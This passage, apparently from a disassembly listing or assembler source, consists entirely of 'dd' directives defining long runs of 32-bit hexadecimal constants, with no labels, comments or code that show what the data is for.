		dd 90DC5892h, 3B372C50h, 40F44A1Eh, 58265A9Dh, 3A44515h
		dd 7F46B6C1h, 4068A509h, 4E2124Fh, 8A3890EEh, 0E7001CB3h
		dd 7A857D5Bh, 0C60B039Ah, 41D5E591h, 3159AD37h,	15D63C4Ah
		dd 0A4EF2443h, 0D7AE280Bh, 1189D498h, 0C8344BEDh, 77035EC5h
		dd 198EEBE6h, 0BB7EEB5Eh, 3D0FE47Dh, 0FC05C740h, 84146846h
		dd 2B48D85Dh, 0BC64BCA4h, 8A33B26Ch, 0F7186143h, 42080169h
		dd 98242B21h, 0B828E951h, 0AED9730Ch, 54A16761h, 409108E4h
		dd 0EC09EE1Eh, 10FB4022h, 79E1DE98h, 0DFC7070Bh, 71EE5528h
		dd 0F7F65C6Fh, 1E709150h, 0E5E70109h, 38BC8664h, 0B48B0F81h
		dd 0CB8A295Ah, 23966520h, 0FD2E8BCh, 988EA082h,	202F9C41h
		dd 470277A0h, 1C137DCBh, 2DE87822h, 7C00BEE5h, 0CF3B265Bh
		dd 2ED0FD00h, 0CDB10BB3h, 97238E4h, 0BD71C180h,	0EC7A2DE0h
		dd 0C93A0500h, 2B20B49Dh, 0CDEA03h, 0DC3B4D97h,	0BB2136EEh
		dd 0E784650Fh, 0DD3E0D1h, 724C7682h, 13EA0035h,	98250633h
		dd 40C1A688h, 4EA0C783h, 40368C00h, 8974C000h, 3D6FABE7h
		dd 72AF0315h, 2E2DDE76h, 250A03B0h, 19506D00h, 0C789D92Ah
		dd 3B4C0084h, 24F182A3h, 4A9002C0h, 14953C94h, 50F9AA04h
		dd 0CCEFD8F8h, 74863212h, 80D4D800h, 3AAF1D37h,	2700B50Ah
		dd 7CC343Bh, 420098CBh,	880D10A7h, 188295C6h, 40EEA4EFh
		dd 72000BBCh, 23AAAD8h,	370B215h, 315CD076h, 70D733FBh
		dd 12F6A74Eh, 0F394201Ch, 0E0358680h, 203CF2EEh, 3AE276B1h
		dd 90780EF6h, 2800D2F2h, 2E1E1827h, 416B7Fh, 980FCEEBh
		dd 0E54785F3h, 0C3A8DF0Eh, 7279E33Ch, 0F7DF8CDh, 38BE4C0Eh
		dd 0B0EB9452h, 0CB82D6h, 8475B740h, 1B3AD120h, 77901500h
		dd 3124DB76h, 0A3300AFh, 0F4B36BCBh, 9D001019h,	0E24B51C8h
		dd 7DF3EED9h, 0B6C20035h, 3703E4D1h, 0CB00AF33h, 3E4ECC9Ch
		dd 430B16h, 0E37E502Dh,	0C18BD41Bh, 0E8816D00h,	3AF1E4D9h
		dd 0F340CEB6h, 152064E0h, 0E0F4CB8Ah, 0F93D3000h, 6B3E4917h
		dd 14A7004Fh, 0A0F88620h, 1338E74Ch, 0C02E81F1h, 0ADCD83C3h
		dd 0D98A1F01h, 0AB8C6614h, 0D7FE27F0h, 3F36FD00h, 0CA8468BBh
		dd 357E1FD4h, 77CD4120h, 3327EFh, 7962539h, 70F1973h, 71A0F057h
		dd 0FD00D53Bh, 7EF235CFh, 7A7D1BDh, 0BE18050Ah,	9FD9806Fh
		dd 10001D3Bh, 586CC249h, 0A71BE9h, 8D85CE7Dh, 0CCE113E6h
		dd 77B53D00h, 3AA8DA86h, 0C1070009h, 2CE9760Ah,	1907E640h
		dd 0B3673849h, 9BD41490h, 4E9400CBh, 0FEAC1339h, 0C302BF32h
		dd 6FB0D6B1h, 0DACC0CEh, 9FCF1077h, 74041035h, 0C513101Fh
		dd 2457C181h, 0FE046F88h, 6E88CBC0h, 0A003C89Ah, 84DE4894h
		dd 0F2D1B352h, 60349592h, 70DC956Bh, 0D17B8700h, 0DE9A5B79h
		dd 34830474h, 28A77F10h, 266C20E5h, 7278DC7Eh, 0B026E44h
		dd 0FC75EB8Bh, 9EEBCC3h, 2258209Dh, 25F8EB84h, 0F0E8E80Ah
		dd 700FA78h, 69ADCDCCh,	111257Ch, 0DD9F5FCh, 0F7294571h
		dd 0E0ED1025h, 0C8E145Ch, 5D5DDEEh, 990EA220h, 411DDE7Ch
		dd 14A84C6Eh, 0F6724FDCh, 20D42FE6h, 0F8818C20h, 3C010F54h
		dd 78F6127Bh, 1C4CDFCDh, 20D98249h, 1E3DC400h, 2A84B9Ah
		dd 80B7BE0Fh, 0E45EE240h, 0D1F350h, 6DAF5ACh, 696C9C20h
		dd 16D21107h
		dd 85C1E667h, 0D1B18023h, 0E22EB5C0h, 5833F07h,	5E4806A4h
		dd 90015A23h, 41988B09h, 1AF050A1h, 999F90ADh, 6075BC04h
		dd 2374EBB2h, 801198FCh, 1CC3B28h, 482FBA11h, 0C8B34A84h
		dd 0FC4B3F0Dh, 738268D0h, 29B702AEh, 275F0171h,	0A360A4F8h
		dd 0AE7C6121h, 0D0830081h, 0B57DEAB6h, 73014757h, 25C7BE84h
		dd 0B8806F06h, 43FBE57Bh, 89E97074h, 5A534261h,	378370A4h
		dd 6FD88421h, 0B0F0FE89h, 5ECC65FEh, 1F342910h,	657F1FCDh
		dd 978D9441h, 44803709h, 1F3554h, 12AF5A6Bh, 4787B18Ch
		dd 75F42295h, 0BA2F0180h, 80033B8Bh, 0AFFCF2h, 0DC9396D1h
		dd 0C62826C7h, 6D760C00h, 7D63B7C4h, 0D08A25C5h, 185248C8h
		dd 9E79D73Ah, 1CE49AE1h, 0E82E430Bh, 0FEC47470h, 98260937h
		dd 0A45A82D1h, 4E325C20h, 0DC2090ECh, 2D0344A6h, 0DFEB9BF7h
		dd 99E1B78Dh, 7DD009E6h, 4078CC35h, 2E009DE1h, 94D3B59Fh
		dd 74018EF3h, 1E8271B1h, 1E20EF3Ah, 6E484099h, 66974336h
		dd 790CE60Ah, 9481A875h, 0BA29B3AFh, 23A5BFDh, 5F89CC48h
		dd 0D4C8C81h, 190026CBh, 9130AE6Fh, 0B6220026h,	0AE786501h
		dd 9C8229F2h, 0C5FDB451h, 210035C5h, 460979C9h,	5A746A3Bh
		dd 6D2F2590h, 76A78860h, 25E5D22h, 0C3CC8073h, 0E0045CC1h
		dd 74308CACh, 0CC768521h, 16F9900h, 0D0BD9726h,	9139005Dh
		dd 0C8428478h, 722830ACh, 2F0C60C2h, 983E57B2h,	225A0FDCh
		dd 3883BAE3h, 80404839h, 44730990h, 0A4C87354h,	0E0818600h
		dd 0BF77EC55h, 4F1A03CEh, 0EA202CF1h, 0B583DBF0h, 1140644h
		dd 70C6FAE5h, 207227B1h, 2C0236ECh, 1B280159h, 730749Eh
		dd 4019AF8Dh, 15C1D843h, 88043C48h, 62F7807Ch, 0A63FDA71h
		dd 40121DF4h, 90202B43h, 40CDE10Dh, 0D2F8B6A4h,	0D82DA031h
		dd 98E14265h, 0D19891A9h, 3F571831h, 998084E7h,	0A02D632Eh
		dd 200E5E4h, 5C6D9017h,	603B89ADh, 62FFF114h, 6E03A893h
		dd 0F1F08676h, 0B198178Bh, 886CD620h, 0C2028A46h, 0E986421Fh
		dd 47103631h, 69481FCAh, 1E66003Fh, 26426C50h, 7441C104h
		dd 2F91D464h, 0F5220003h, 0D226A851h, 97BBF0C8h, 515804A6h
		dd 2E46600h, 0C7C203B8h, 6412273Dh, 6D833463h, 30D4B0A6h
		dd 0E67D81E8h, 4C6081FDh, 6D7C0545h, 0B8E5D5FCh, 84750318h
		dd 8FE1F0h, 6E41B838h, 4ADF406h, 0D22130C3h, 4448DD64h
		dd 5E8D8039h, 0EBB43C6Ah, 0E090AC5Ah, 9F7CD9AFh, 0D2731880h
		dd 0C77E6DF8h, 87E0744Dh, 0FCF2EBB1h, 100C3190h, 0EB8A24h
		dd 512EC7B3h, 46B86809h, 45BF8E0Ch, 4081B07Ah, 0E82CDE90h
		dd 463B100Bh, 0FCE2946Eh, 0CCC58B68h, 0EBB52180h, 13C7A389h
		dd 0F00AE635h, 4349F080h, 0A1B306E0h, 13F930D1h, 0B429CD1Dh
		dd 6504C7F4h, 320D4912h, 183028D9h, 9B297D8Ch, 72BB1128h
		dd 0EAAE7D00h, 0C5F110C1h, 0C8C0C1BFh, 83750A25h, 0ADF88380h
		dd 51804B9h, 1D7CCA28h,	291EA8ECh, 0D3BA3062h, 3110DA99h
		dd 0D64FA001h, 8FA3B227h, 47E0002Fh, 9303EFFCh,	625FFB02h
		dd 0C42CB1ACh, 4D3F2C10h, 9B04411Ch, 784B110Dh,	19036300h
		dd 2589DD09h, 39840579h, 0E3A9B847h, 0AEED9851h, 8601092h
		dd 90A4CEA0h, 1D21203Ch, 465D347h, 82E73F0Ch, 3C743740h
		dd 0D1072EEAh, 50A06894h, 4CF58E6Dh, 0B103403h,	23B90024h
		dd 0AED6C41Ah, 49A0250Fh, 328ECE0h, 5C808E5Ah, 5859E105h
		dd 0D18544A7h, 0B5A821DFh, 0D48104AAh, 0F037EBEh, 0EE5341D8h
		dd 50541E4Ch, 0B3EA9E8h, 54AF0114h, 9635988Ch, 0EA2A7052h
		dd 11349D44h, 0D8628009h, 201699h, 0C03B874Fh, 91D7942Bh
		dd 69C5E613h, 914C74F0h, 18BF7928h, 0AC2E00F0h,	6D774BBBh
		dd 149FDA72h, 43B60030h, 7BF59B2h, 7A09CEE3h, 0D899AC66h
		dd 246EEEB4h, 80E0955Ch, 0F91B2465h, 7D013769h,	4DBC23Fh
		dd 2C47E115h, 0EF743130h, 0C02013BEh, 8B9A00A4h, 3776EC66h
		dd 67788C0Fh, 0BD448196h, 70645B5Ch, 0FE7F697h,	5F90D8BBh
		dd 6E6E7BBEh, 0CCA460F3h, 86237C1Fh, 13321139h,	0B400344Dh
		dd 0E535F7AFh, 0B4D203EAh, 0CE8DD446h, 0FD6DD0A0h, 0B8834116h
		dd 702E840Bh, 0E6D20744h, 3B91A9CDh, 0D07E5005h, 142D94DCh
		dd 52FBF0A1h, 0F097C7D8h, 75870A91h, 5A9290E3h,	0A725056Ch
		dd 9114970Dh, 0EA89800Ah, 388FBD1Ch, 6AB2C7DBh,	0F8337890h
		dd 46FC6FEBh, 0D2270h, 0F2EBB630h, 2739F65Ch, 2EAF9E12h
		dd 467D6809h, 141620ACh, 0C2D9D003h, 0C262C80Bh, 0C16CCD63h
		dd 58AD4D8Ah, 6C097DB8h, 0D0FBC9B1h, 16389828h,	208B5CDh
		dd 0F0C84728h, 95604884h, 77588210h, 7D0498ECh,	44C1C2CCh
		dd 9A204B62h, 994CC7Fh,	306FCF5Ah, 0D46E482h, 42117711h
		dd 0BC206A28h, 3D1FD7F5h, 0D0D0CB46h, 1823887Ah, 9587D91Fh
		dd 7C0F2B12h, 1540C18Bh, 0FC622143h, 3830805Ah,	1137F104h
		dd 0B730C0B3h, 0C262B5D7h, 84199878h, 0DB8F8853h, 3BC905A3h
		dd 18A69C40h, 311EC03h,	5C094449h, 4C038435h, 659520DCh
		dd 702AC2ADh, 6CCA000Bh, 81B85057h, 30943FF0h, 7C607A44h
		dd 0C17437CCh, 72990087h, 8306DBCCh, 0FE589500h, 43F3890Ch
		dd 9FE8E8AFh, 0C132B482h, 0DE223450h, 0F1E6FAB9h, 0D9909457h
		dd 8AFA6h, 526BC59Bh, 6ED177DBh, 40329A01h, 10440EABh
		dd 64ACA9C0h, 647DA939h, 0C145DC1Ch, 54483094h,	71A08F4Ch
		dd 5322D1E0h, 91125882h, 0A80806B5h, 0EBB8C077h, 884EFC72h
		dd 25002Ch, 0C2CBEB89h,	0E5F753C4h, 385FA1Fh, 46B47089h
		dd 0A7833FD4h, 71C5FC09h, 3C9A060h, 3F08BB55h, 0F8486C13h
		dd 0AE71C131h, 0D0BEA4BDh, 6B40BEC4h, 0A3E0AE7Ah, 0B2F87007h
		dd 15218A5Ah, 51C8CB24h, 0C456059Bh, 6079A762h,	38CC6390h
		dd 0E474C12Bh, 9C007611h, 936ACC75h, 920008C2h,	0FCE0C597h
		dd 0BA5C51DDh, 0BBFE2D10h, 9358BCC4h, 882D1084h, 1CBA3B71h
		dd 8476C882h, 18E8B14Bh, 2122ED2h, 5CCB621Ah, 69C07788h
		dd 0E6354h, 0F790CF59h,	7218131Ch, 157002BDh, 2634E6E8h
		dd 5B3D348h, 885DFDA2h,	0C9017C10h, 0E0D76BC8h,	0D430D22Fh
		dd 794166h, 7F5C5F4h, 5EFD0D0h,	0C754E3E5h, 9C8088A8h
		dd 5003BA53h, 0F5E081B5h, 4A002585h, 8A248B51h,	8F00EC21h
		dd 0B64D8446h, 0B45D4CB7h, 0CD73FE04h, 87C80D9h, 109820Eh
		dd 40B037E2h, 0BBF5E5B4h, 0D9AF07A0h, 4C511830h, 8FE01026h
		dd 32008388h, 6F9002F1h, 90FDA7CEh, 3AF92DFDh, 26DC7C48h
		dd 2C6F70D3h, 566D4400h, 0D2725A6Bh, 4B0E35Ch, 0C7FB2E0Ch
		dd 0CE2ACF2h, 7A7330h, 2E052FD1h, 4DCFB7C0h, 462B481Fh
		dd 6600D828h, 0F21A31F9h, 13AB206Bh, 0C254EE3Fh, 784561F8h
		dd 5B6077E4h, 7304E36Eh, 0A071B8Eh, 3E2520C1h, 8380832Ah
		dd 6A813181h, 82B7F808h, 4C9FBA29h, 2DD50848h, 0CF126896h
		dd 0EB00D0A9h, 0FC964A36h, 22007B76h, 4518C624h, 6994BB8Eh
		dd 601DB0B1h, 0FF807411h, 4D3F2621h, 86E6EF00h,	0D44520CBh
		dd 2BBE041Dh, 0B57D64D2h, 1023E1A8h, 0BADA5C18h, 0D1F091C4h
		dd 0DD1871h, 95342246h,	4A842667h, 149EDE02h, 0A47ADF73h
		dd 5C81758Ch, 0B838B1B9h, 0E4674800h, 0C7F70207h, 8C155001h
		dd 5E81CC62h, 41C4020h,	6B730436h, 88188E6Eh, 4F56C10Ah
		dd 5D0870ADh, 90C20BDh,	0EA2B77C0h, 7F3C3B52h, 0DFB1AF0Bh
		dd 37135C70h, 0BC4002E1h, 46BAF72Eh, 0B4848AA7h, 0AE756035h
		dd 412925B1h, 670F9416h
		dd 0A0F7AE7Eh, 4E43A5A6h, 595A028Dh, 8276D221h,	426130C1h
		dd 66201FC4h, 482E0BE6h, 7384BCDAh, 1F70E4C4h, 9D656927h
		dd 80359104h, 0C68536BDh, 72E4071Eh, 222E3AAh, 0C881BBCDh
		dd 0F0EC9E93h, 78A783DFh, 9260B964h, 7B05E63Ah,	0E4D8EB2Ah
		dd 38690C1h, 5408E501h,	0CDC08CD0h, 690F9401h, 9C78D251h
		dd 0C0A5EDCh, 7D2643A4h, 0FB3A3FC1h, 0F4D85B4Dh, 8C510148h
		dd 3927B759h, 4C8870A6h, 0B18B8509h, 2F054E3h, 0BF2B433Dh
		dd 82130850h, 0ACC1F598h, 0EC5F96E8h, 5A20E298h, 86529303h
		dd 0BB029A0h, 721B4858h, 0E885CC40h, 18C0A973h,	0CA1C218Bh
		dd 571102B7h, 25E9DDEEh, 0E2084CF1h, 46B300A7h,	0B9DAAF8Eh
		dd 8FBC98B7h, 4FB22F53h, 0A4FB1463h, 0D6BE00FFh, 11028E69h
		dd 0F8756640h, 11689728h, 2CEA81B6h, 1034EFB2h,	1812096Dh
		dd 74811D3Ah, 0FE04A33Fh, 7466B089h, 188E44A1h,	7E1F0936h
		dd 0A465C986h, 1F3E4B80h, 0B0F12EFh, 0C0755FCFh, 930014C4h
		dd 0AECCECDDh, 1FE49DE9h, 137FD2Eh, 0A9F830F7h,	64EC728Fh
		dd 0C360B578h, 86237D1Fh, 46443BD1h, 7F1FCB00h,	0CE6D9667h
		dd 1A03014h, 0BE35C851h, 0BD039FDh, 0A4FC2E66h,	7A604490h
		dd 0C125CDCCh, 4C0C966Ch, 57018453h, 0FA3794A5h, 344B7E43h
		dd 0A11882A2h, 0A13C5BC0h, 18765130h, 3A8FAC8h,	6D5C8DABh
		dd 0B002C551h, 7DCDE6CEh, 9E74580Ch, 2463B7Ch, 0FC78EBB6h
		dd 581854B8h, 0EB128F2Fh, 0D804A6D6h, 6C096742h, 23442A00h
		dd 8C9E04E6h, 6AB6C600h, 60264207h, 0E644E109h,	63787E0Fh
		dd 0ED52A8A1h, 30820475h, 0C7C6048Ch, 6D0BB804h, 0AAECE85Ch
		dd 7587EE5h, 0A3762A90h, 5BE8700Ch, 7200851Dh, 4A326C20h
		dd 303DC734h, 8440077Eh, 8688465Ch, 768D7EFDh, 3968009Eh
		dd 35ACFA66h, 0D7381FB4h, 0D4A89C4h, 6E883040h,	29BE17AEh
		dd 1C0CB99h, 0A4AE7768h, 0AB20F60Bh, 0F0D1E82Dh, 985A0C0Ah
		dd 25D1A83Dh, 14132E4Ah, 31C8288Bh, 3CD68AC0h, 0E58002B0h
		dd 42A149D0h, 7C349057h, 97E7004Eh, 94F9444h, 0DAFC7727h
		dd 0FDC1D917h, 73F8A800h, 5FB7D366h, 97C5690h, 8050996Ah
		dd 1C1274Ch, 0BA6C73D0h, 842EBDC5h, 0AD68C8A0h,	8010BF48h
		dd 8BBD33E2h, 32E14E98h, 108372D8h, 2A7071Ah, 20DABB45h
		dd 62843A5Dh, 19AF9538h, 3EE71174h, 0BE0FB6D0h,	0FBE2008Ch
		dd 0D9F88458h, 0DE30BE61h, 167ECA1Dh, 3E184890h, 9C8BCABCh
		dd 0D4C0BB88h, 28F08653h, 2130B115h, 0DC086732h, 9417694Eh
		dd 0DD80A311h, 9D87294Ah, 4C946C00h, 0FC7AA232h, 8E5CBCCDh
		dd 0E5041079h, 0B244E3A4h, 7F413275h, 4D94413Dh, 2A42018Fh
		dd 0E52C922Eh, 0BD80F893h, 5B0054B4h, 80E764B0h, 0B01B03D3h
		dd 26ED2130h, 422F6291h, 0A05D8090h, 16B09D20h,	0C08A25E0h
		dd 14220B54h, 0E8F0A24Ch, 0D97C8C3Ch, 73BDF218h, 0A0D481C0h
		dd 856FAE30h, 37808911h, 3186791Fh, 449695h, 8F1F3F4Ah
		dd 489F8E16h, 18C6DA00h, 0E1154044h, 8D4A8B7h, 357B24C0h
		dd 0E58F07FCh, 0B1DEF08Eh, 30294D5h, 818230FFh,	0D0C0E0BEh
		dd 48FE78C7h, 0A6246864h, 0AF5B8B14h, 7811001Dh, 8C7A1080h
		dd 9D098BC7h, 5C8FB1A1h, 99FD0630h, 18FFF0ACh, 801F0838h
		dd 39C4D986h, 1F60494Fh, 0E0727CFCh, 8F045491h,	44BA6BB9h
		dd 0F4CF3040h, 1F03F1F0h, 2E51F882h, 0DAE080B8h, 0C90D050Bh
		dd 122DC99h, 0F92DCDB7h, 94082AC3h, 39718068h, 8E43DE3Ah
		dd 2B34B002h, 6008609Dh, 28861338h, 0A8290FBh, 0E67559FCh
		dd 775F001Ch, 0FB2C7E22h, 72008DFAh, 0ECCBFC27h, 0F0CA9BB2h
		dd 82F609AAh, 84596024h, 8418B979h, 6BBCBA00h, 0FE39F709h
		dd 121D3BDFh, 0B1CA18CCh, 90D1418Ch, 8482045Ch,	15C5E91h
		dd 0DC23931Ch, 8554308Eh, 0B021A85Eh, 0FC0014CAh, 7D54CCEFh
		dd 970044A4h, 33023282h, 24DA53B7h, 1618B310h, 133C21BBh
		dd 0BD9BF029h, 0ED380CACh, 0B1F51388h, 0C0380027h, 0C136CC79h
		dd 3C2C644Eh, 0CC7B259Eh, 1F00CC5Bh, 922DC1DAh,	58A2977Fh
		dd 7E18B77Dh, 0D7D08060h, 843B26h, 0A1066109h, 0E3E13FF8h
		dd 18E0034h, 0B67D2028h, 2C728253h, 37E50044h, 3C5984B3h
		dd 620A39E8h, 370ACD2h,	2FF205ACh, 5FD80D38h, 420055FFh
		dd 0AA08F8BEh, 4EC5E8CBh, 231C2E62h, 0CF77004Bh, 43FF3257h
		dd 0DDFA1D1Ch, 0C5043F02h, 805C74FCh, 97A7ED99h, 6800A8BFh
		dd 0C7D34896h, 705E20Ch, 309CD9CCh, 1C775FC1h, 0EDF2622Ch
		dd 3B22500Bh, 124C81DBh, 2F8238h, 0FB4A94F8h, 0B2028D44h
		dd 63B6A781h, 20E07A25h, 29552269h, 0EC046890h,	24098C09h
		dd 0BAB4C6h, 0A3FDDC7Dh, 0CA9405A9h, 8E6063F8h,	0C0BE8840h
		dd 0FBAD1D5Ch, 7307A9E2h, 0B253C476h, 8C04F86h,	31C1DDEFh
		dd 4CA4FC22h, 69E3E000h, 845B7BB5h, 7C78F3A5h, 0F68C75B8h
		dd 70F4D43Fh, 42B0AA2Ch, 0D1207D16h, 30D22141h,	62905F88h
		dd 440FB96Fh, 65E8C73Eh, 20CDC5F0h, 81043832h, 0ED0AFEF8h
		dd 248B718h, 3C25C5E6h,	0F06050D2h, 2DFDF9F9h, 900A7CA8h
		dd 8C362C22h, 0B0341500h, 0B2AE7280h, 38997929h, 0AE7B64C0h
		dd 4BEC97h, 0F4107AEEh,	40488ACEh, 9CD0FC5Bh, 0BCEA3B28h
		dd 376D00F8h, 66925329h, 0A58310C5h, 4BF264B2h,	0AE5430h
		dd 65032A6Eh, 8784EB24h, 4DC42814h, 742E17B0h, 0CA36033h
		dd 692A11B1h, 1C229620h, 0D3DF2275h, 508D4205h,	0C8082987h
		dd 0DFC50A5Bh, 69046F28h, 2CF050Dh, 88EA4C93h, 93EFF66h
		dd 9635E733h, 1592882h,	2E28240Bh, 0DC6964B5h, 0DE413ACh
		dd 0BEEBE00h, 66FA98F9h, 9DE721Eh, 0CAE3DC7h, 1554749Eh
		dd 0F8C56AC4h, 644D7992h, 8868F982h, 58CBCBCh, 5077ECDCh
		dd 0F06186F3h, 883DBD21h, 1749A886h, 804C11E8h,	8E46CEF5h
		dd 0AC8104A6h, 0BD95A085h, 761D0B24h, 0B468160Bh, 33ED4018h
		dd 58000587h, 5A3B8955h, 52EA4ABAh, 0CB889090h,	8BDC93h
		dd 0DAC00A88h, 37DFF69h, 0B215C573h, 210B6F8Dh,	8E4409E7h
		dd 5C968AE8h, 647DAE08h, 200C22C0h, 24E63571h, 48D69B5Ch
		dd 3FDF10B4h, 4991FD38h, 0ECD0225h, 482B4DF4h, 4D64D2ECh
		dd 9F4F6824h, 3722140h,	5A848A53h, 1C5610Dh, 9020380Bh
		dd 0BFA62E6Fh, 7E0E050Ch, 0DF00475h, 0C0A04E10h, 0F0847B83h
		dd 5035F1B9h, 50485872h, 890FA611h, 58305362h, 489CF3C8h
		dd 2318F35Eh, 0C87A2400h, 4E079CA3h, 40720CD6h,	306146E5h
		dd 84DE3B27h, 20EE73D8h, 0EE29C9FCh, 53413D1Fh,	2508017Eh
		dd 75DDFF4Ah, 74720461h, 883075F2h, 0D80A1CAFh,	2698496Bh
		dd 9D279816h, 91749DABh, 4A918074h, 2AD3D25h, 27C6BD9h
		dd 905F489Eh, 2342440h,	0F92EA079h, 0C748C44h, 84825944h
		dd 0B202A20h, 84990D65h, 8F9F23Ch, 17184AD9h, 765ED902h
		dd 77B5FDE6h, 0C822D480h, 300B358h, 9A92866Ah, 0BBC06B94h
		dd 0F5FD03B0h, 31002D11h, 0A41E36F3h, 0BB5E94h,	257E7D50h
		dd 0E04C88C8h, 1530AC02h, 7932FCEDh, 180B79E4h,	69031F66h
		dd 0C420E7BBh, 0E8893AF0h, 1F001D78h, 92FEFA9Dh, 75754F81h
		dd 610B277Eh, 5583FC79h, 0D81C9166h, 4C24AE94h,	0A624CCDFh
		dd 62728130h, 24292DCCh, 1F2CB2E0h, 8CA93023h, 0AD1876D1h
		dd 0A9FAD271h, 0F5B1970Eh, 27594BE6h, 44E253F4h, 0ECDC045Ch
		dd 8C71B8E8h, 43A5A30Bh, 9E8C5127h, 0C607A05Dh,	0D9DB3177h
		dd 614E02D9h, 5EF87CA4h
		dd 8A003846h, 5B123731h, 0EF0096B4h, 0A4F8D05h,	615C6D77h
		dd 0E085F143h, 0A9A1E495h, 3A2BAF03h, 0E81F4ED9h, 1C179A6h
		dd 0FC6AF0C7h, 0D9258648h, 2078A1h, 0E8F81D42h,	5796C5h
		dd 114450Dh, 18270363h,	2DC87860h, 0C4A6616Dh, 1D8AF1E0h
		dd 357773BFh, 720173ECh, 0F8361930h, 75E24FCDh,	96666483h
		dd 1004C6EBh, 0C730D4C1h, 76E278A2h, 273E30h, 9A38748Ah
		dd 0E682CC4Fh, 0B22E040Bh, 341859ABh, 0EC5CA8C0h, 7D3C8CB6h
		dd 58B527DAh, 5D0D4464h, 23A8489Dh, 53F600D4h, 0DDB20F0h
		dd 0A6006DE2h, 56D7708Ch, 7585B1Bh, 1DCDC4CBh, 0F080B9EAh
		dd 0B365F823h, 9E800891h, 510E4AD2h, 27487983h,	30A0FCC2h
		dd 0EF3601D8h, 6CE0703h, 983DA030h, 6A7AD6h, 0C52E6226h
		dd 12C79CCh, 0CE930E0Ah, 0ADC6DC77h, 0D0B9C08Eh, 75D7F3D9h
		dd 4F71200h, 802E32ABh,	24650F05h, 4A60DFC3h, 0F9C7D00Ch
		dd 0E5967D01h, 0C87F54E8h, 0F5FCD440h, 943B4939h, 432B8A1Ch
		dd 0BE706BAh, 0B6AE8EC8h, 8498ED50h, 5B4E84B0h,	0B37F4B0h
		dd 5DBCBD9h, 0E8C9508Fh, 0C61740FAh, 0C0422635h, 7742640Eh
		dd 0E6192010h, 7FB7C518h, 9985AD70h, 0FDE705C8h, 29D49025h
		dd 0CC941FBAh, 73135809h, 0EB197050h, 0E5209200h, 30EC430h
		dd 6888E749h, 4A003EB1h, 0FEBA871Eh, 4B6D09D8h,	6C7E566Ch
		dd 0B7513E00h, 27F88581h, 8C48B55Dh, 0D8D32A4Dh, 0E3DD3CCBh
		dd 4BA6201h, 0D6E49294h, 3A02262Bh, 2C390954h, 0CD4174D4h
		dd 2100228Dh, 6AE7E0D2h, 20076022h, 39C5FC44h, 7916D4B6h
		dd 8DD56004h, 54244CF2h, 22D74010h, 0CD09E817h,	0F10D586Ah
		dd 18B5D1D8h, 0F74B00DAh, 67FBC2BCh, 0B50C1AE4h, 705FC74Ah
		dd 59DC8865h, 3FFFE0A0h, 4B106380h, 23A42E49h, 595D0EBCh
		dd 1EE0CC40h, 0FF04E4EEh, 84457C0Bh, 0E48EAC84h, 0FC18088h
		dd 3C204A5Bh, 0F1978870h, 0CCF5B53Eh, 582F5ADCh, 41003923h
		dd 6469968Eh, 17187CB9h, 0D1E704F4h, 2D244250h,	68EC278Ch
		dd 1D411DCh, 0E6DFE4A3h, 0C75D73F6h, 0E8574798h, 0A384B654h
		dd 79A0F30Eh, 44B122D1h, 3A5040AEh, 131FEAEEh, 761A42h
		dd 0AB3F8718h, 10054936h, 14F1D272h, 65029CF2h,	0AB73771Eh
		dd 4892045Ch, 61FEEC00h, 3043A204h, 0DBD14E26h,	1D13DF9Fh
		dd 8891B92h, 0A24C24DEh, 30B9E23Ch, 52C5C19h, 0C3019280h
		dd 0F41543F5h, 40A10070h, 1B0E2760h, 0B6EC5538h, 782D2CA3h
		dd 0C77EA840h, 8BA0D6h,	0F2C0B8C8h, 2DFD057Dh, 0E44071C5h
		dd 971D677Ah, 0F9023FB9h, 7F8DB231h, 3C099418h,	0A2FC99CFh
		dd 744619EEh, 41854508h, 0B23DC6A4h, 4C0F2E63h,	0E2385017h
		dd 7DE64A8Ch, 0ED07A051h, 9A649826h, 79D95937h,	0B1AF02E8h
		dd 944128CFh, 7827C9E5h, 16A13ED0h, 28914D1Fh, 0E5022C89h
		dd 143E40E4h, 43652FFDh, 5463F210h, 0C403D620h,	0BCCBE09h
		dd 3E6800Eh, 89CB02C5h,	4CABBA53h, 2BB7F468h, 40651526h
		dd 1767A808h, 0CB780019h, 0E0DF31A5h, 0DC730A0Bh, 91E0D8ECh
		dd 18B6D130h, 11291320h, 6594D0ADh, 50B0F82Eh, 236D520h
		dd 0DF72D4A9h, 0A27D0DDAh, 1262CECh, 41A4ECEFh,	10A778D0h
		dd 827DFA35h, 38018874h, 0A6ECEE26h, 0C46C2890h, 2304081Ah
		dd 0F240A2A5h, 7858324Fh, 97B8522h, 2345D5FDh, 0C8B1404Bh
		dd 94843063h, 36B1FF07h, 179BCA13h, 81389124h, 0CC5BF1E2h
		dd 264F5D20h, 5C8F5BCh,	0AABD0AEFh, 6B235820h, 223703B1h
		dd 2ACE0F73h, 3F4950E1h, 60F79885h, 377F9DA0h, 0AC0085F0h
		dd 324D785Bh, 95C1F884h, 0EBA93400h, 340998BEh,	6565742Ch
		dd 604FE494h, 5D232860h, 0F12242Eh, 0F308035Ah,	4AE2DDE8h
		dd 529C307Dh, 99EB0FF2h, 1B607375h, 80E1BAF0h, 0C4FC8BBDh
		dd 2D020270h, 5028C722h, 0FBECEB60h, 469563Dh, 0A7649E9h
		dd 63F5ABC7h, 92F80A8h,	38C49C47h, 8CBE8560h, 0BB0ACF1Fh
		dd 82C1F141h, 1C2C79F8h, 0C453AB3Ah, 0BFB8904Ch, 7D7008Ch
		dd 988ADA45h, 5CBCDEE5h, 99EA803Ah, 212C2052h, 426F0C15h
		dd 9499CE2Bh, 1A4B3FFAh, 1CC12CD4h, 0AC24AE04h,	81AD8838h
		dd 5A938096h, 0E6B4A4h,	1CEE389h, 0C84CEE6Fh, 0AF7A3D25h
		dd 0C02232E8h, 93E18B8h, 96D8B80h, 9890AD5Eh, 652D74DCh
		dd 6077E410h, 3F6C023h,	0CD6E61Bh, 0D900D52Fh, 64F2AC14h
		dd 9CDCB72h, 0B7FCED1Dh, 36E6FC01h, 0FD862CFh, 20286F9Dh
		dd 162E6899h, 0B7AC0083h, 0CAE10EC8h, 8C023906h, 988202A1h
		dd 74F4BDh, 0FCECA7B6h,	2C4835D5h, 9BFE80E8h, 0F15D06B5h
		dd 3FE39051h, 170CD7C0h, 0C102E2D4h, 0DCD940A8h, 8A027A88h
		dd 0ECEE738Ch, 0A89002A6h, 841D4203h, 458F6C81h, 0B828E904h
		dd 31839D0h, 3263016h, 0F1CC049Ch, 948EF84Ah, 6EC43288h
		dd 26DE8C98h, 25F406E0h, 0FD29B8E8h, 64555C24h,	20720B2h
